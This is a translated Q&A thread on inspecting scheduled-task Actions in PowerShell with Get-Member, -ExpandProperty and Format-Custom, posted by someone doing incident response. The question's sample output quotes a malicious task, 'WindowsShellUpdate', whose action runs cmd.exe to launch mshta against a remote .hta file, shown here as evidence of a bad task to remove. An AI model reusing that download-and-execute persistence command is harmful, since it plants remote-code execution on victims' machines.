在PowerShell中的Get Member中进一步深入



我正在努力自学PowerShell,在互联网上搜索了很多之后我问了这个问题。

Get-ScheduledTask  |  Get-Member 

上面的命令显示了属性和方法。现在我想进一步深入到";Actions";但我能做的最大值是

Get-ScheduledTask  |  Get-Member -Name Actions 
Name    MemberType Definition                                  
----    ---------- ----------                                  
Actions Property   CimInstance#InstanceArray Actions {get;set;}

理想情况下,如果我想窥探";Actions";我必须这么做,

Get-ScheduledTask -TaskName "WindowsShellUpdate" | Select -ExpandProperty Actions
Id               : 
Arguments        : /c mshta http://xx.xx.xx.xx/win/update.hta
Execute          : C:WindowsSystem32cmd.exe
WorkingDirectory : 
PSComputerName   : 

附带说明,我做IR。我正在构建一个脚本,非常小心地自动删除坏任务。

:(

  • Get-Member执行反射:其在摘要中报告有关.NET类型(类(及其成员(属性、方法、事件、委托(的信息。

    • 这意味着输入中某个类型的给定实例的属性不包括在内
  • 此外,Get-Member不是递归的:它只列出类型本身的成员定义,而不列出成员的成员。

因此,如果目的是查看.Actions属性中包含的类型为CimInstance#InstanceArray的集合的元素的类型的成员,请使用zett42:建议的命令

# Get information about the type [of the elements] stored in the .Actions property.
(Get-ScheduledTask).Actions | Get-Member

注:

  • 由于通过管道发送集合(数组(会枚举,即逐个发送其元素,因此通过管道向Get-Member提供集合会返回有关该集合的元件不同类型的信息

  • 要检查集合类型本身,必须将其传递给InputObject参数:

    # Get information about the *collection type* stored in the .Actions property.
    Get-Member -InputObject (Get-ScheduledTask).Actions
    

然而,一种非正式的[1]方法,可以获得任何给定对象实例结构的递归表示,甚至包括属性值,即通过Format-Customcmdlet:

# See sample output below
Get-ScheduledTask | Select-Object -First 1 | Format-Custom

注:

  • 默认情况下,递归深度限制为5,但您可以通过-Depth参数来增加或减少它。

    • 如下所示,深度嵌套对象的输出可能很长
  • 默认情况下,集合属性值最多枚举4个元素,但您可以通过$FormatEnumerationLimit首选项变量进行更改-有关详细信息,请参阅此答案。

上述命令的输出(摘录(:

class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_ScheduledTask
{
Actions = 
[
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction
{
Id = 
Arguments = --scheduledautoupdate $(Arg0)
Execute = C:UsersjdoeAppDataLocalProgramsOperalauncher.exe
WorkingDirectory = 
PSComputerName = 
}
]

Author = MKW10jdoe
Date = 
Description = Keeps Opera up to date.
Documentation = 
Principal = 
class CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskPrincipal2
{
DisplayName = 
GroupId = 
Id = Author
LogonType = Interactive
RunLevel = Highest
UserId = jdoe
ProcessTokenSidType = Default
RequiredPrivilege = 
PSComputerName = 
}
...

[1]与所有Format-*cmdlet一样,Format-Custom人类观察者输出丰富的字符串表示,而不是为programming处理

Actions只是从WMI(CimInstance(中提取的另一个对象的集合。当您使用PowerShell定义Scheduled Task时,您可以按顺序:

  • 定义主体:New-ScheduledTaskPrincipal
  • 定义任务设置:New-ScheduledTaskSettingsSet
  • 定义一些触发器:New-ScheduledTaskTrigger
  • 定义一些操作:New-ScheduledTaskAction

然后用以下参数创建一个任务:

  • New-ScheduledTask

并最终注册任务:

  • Register-ScheduledTask

有一些高级属性可以访问,例如,任务的触发器只能在创建任务后设置。(Get-ScheduledTask)[0].Triggers[0].Repetition.Duration,然后定义后使用Set-ScheduledTask更新任务

所有这些cmdlet只是隐藏了WMI类实例的复杂性。

最新更新